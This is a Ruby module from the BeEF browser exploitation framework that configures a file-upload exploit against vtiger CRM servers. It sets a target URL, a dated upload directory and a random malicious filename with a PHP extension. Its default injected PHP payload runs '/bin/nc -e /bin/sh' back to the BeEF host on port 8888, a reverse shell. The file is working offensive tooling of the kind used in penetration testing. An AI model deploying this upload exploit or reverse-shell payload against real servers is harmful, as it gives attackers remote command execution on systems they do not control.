beef/modules/exploits/vtiger_crm_upload_exploit/module.rb

#
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Vtiger_crm_upload_exploit < BeEF::Core::Command
  
  def self.options
    time = Time.new
    weekno = case time.day
        when 1..7 then 1
        when 8..14 then 2
        when 15..21 then 3
        when 22..28 then 4
        else 5
    end

    @configuration = BeEF::Core::Configuration.instance
    beef_host = @configuration.beef_host
    return [
          {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'},
          {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'},
          {'name'=>'mal_filename','ui_label'=>'Malicious Filename','value'=>rand(32**10).to_s(32),'width'=>'400px'},
          {'name'=>'mal_ext','ui_label'=>'Malicious File Extension','value'=>'PHP','width'=>'400px'},
          {'name'=>'vtiger_php','ui_label'=>'Injected PHP (must escape single quotes)','value'=>'<?php passthru("/bin/nc -e /bin/sh '+beef_host+' 8888"); ?>','type'=>'textarea','width'=>'400px','height'=>'100px'},
          {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'}
    ]
  end
  
  def post_execute
    return if @datastore['result'].nil?
    
    save({'result' => @datastore['result']})
  end
  
end